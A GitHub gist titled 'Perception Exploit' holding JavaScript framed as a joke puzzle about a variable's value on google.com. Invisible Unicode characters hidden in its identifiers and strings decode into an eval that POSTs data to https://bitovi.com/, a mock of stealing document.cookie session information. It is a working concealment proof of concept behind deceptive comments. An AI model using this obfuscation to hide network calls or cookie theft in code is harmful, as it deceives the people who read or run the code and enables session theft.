Skip to content

Instantly share code, notes, and snippets.

@JaneOri
Created June 19, 2018 22:32
Show Gist options
  • Save JaneOri/a1d9e140e42d4446fed72345b317a17b to your computer and use it in GitHub Desktop.
Save JaneOri/a1d9e140e42d4446fed72345b317a17b to your computer and use it in GitHub Desktop.
Perception Exploit

https://github.com/James0x57/lolscript

// What if I told you the final value of 'lol' depends on the website you're on?
// YOU WON'T BELIEVE WHAT IT IS WHEN YOU'RE ON https://google.com !!
var lol = this;
var lo󠅥󠅮󠅤󠅩󠅡󠅮l = lol => (new TextDecoder()).decode(new Uint8Array(Uint16Array.from(lol, x => x.codePointAt(0)).buffer));
var lo󠅵󠅮l = lo󠅥󠅮󠅤󠅩󠅡󠅮l("湵");
var lo󠅥󠅳󠅣󠅡󠅰󠅥l = lo󠅥󠅮󠅤󠅩󠅡󠅮l("獥慣数");
var lo󠅤󠅥󠅣󠅯󠅤󠅥󠅲l = lo󠅰󠅡󠅲󠅡󠅭l => lol[lo󠅵󠅮l + lo󠅥󠅳󠅣󠅡󠅰󠅥l](lol[lo󠅥󠅳󠅣󠅡󠅰󠅥l](lo󠅰󠅡󠅲󠅡󠅭l).replace(/uDB40%uDD/g,[])).slice(2,-1);
var lo󠅥󠅶󠅡󠅬l = lol[lo󠅤󠅥󠅣󠅯󠅤󠅥󠅲l("lo󠅥󠅶󠅡󠅬l")];
lo󠅥󠅶󠅡󠅬l(lo󠅤󠅥󠅣󠅯󠅤󠅥󠅲l("lo󠅶󠅡󠅲󠄠󠅸󠅨󠅲󠄠󠄽󠄠󠅮󠅥󠅷󠄠󠅘󠅍󠅌󠅈󠅴󠅴󠅰󠅒󠅥󠅱󠅵󠅥󠅳󠅴󠄨󠄩󠄻󠄠󠅸󠅨󠅲󠄮󠅯󠅰󠅥󠅮󠄨󠄢󠅐󠅏󠅓󠅔󠄢󠄬󠄠󠄢󠅨󠅴󠅴󠅰󠅳󠄺󠄯󠄯󠅢󠅩󠅴󠅯󠅶󠅩󠄮󠅣󠅯󠅭󠄯󠄢󠄬󠄠󠅴󠅲󠅵󠅥󠄩󠄻󠄠󠅸󠅨󠅲󠄮󠅳󠅥󠅮󠅤󠄨󠅊󠅓󠅏󠅎󠄮󠅳󠅴󠅲󠅩󠅮󠅧󠅩󠅦󠅹󠄨󠅻󠄠󠄢󠅤󠅯󠅣󠅵󠅭󠅥󠅮󠅴󠄮󠅣󠅯󠅯󠅫󠅩󠅥󠄢󠄺󠄠󠄢󠅴󠅨󠅩󠅳󠄠󠅥󠅡󠅳󠅩󠅬󠅹󠄠󠅣󠅯󠅵󠅬󠅤󠄠󠅨󠅡󠅶󠅥󠄠󠅢󠅥󠅥󠅮󠄠󠅹󠅯󠅵󠅲󠄠󠅳󠅥󠅳󠅳󠅩󠅯󠅮󠄠󠅩󠅮󠅦󠅯󠅲󠅭󠅡󠅴󠅩󠅯󠅮󠄮󠄠󠄼󠄳󠄢󠄠󠅽󠄩󠄩󠄻l"));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment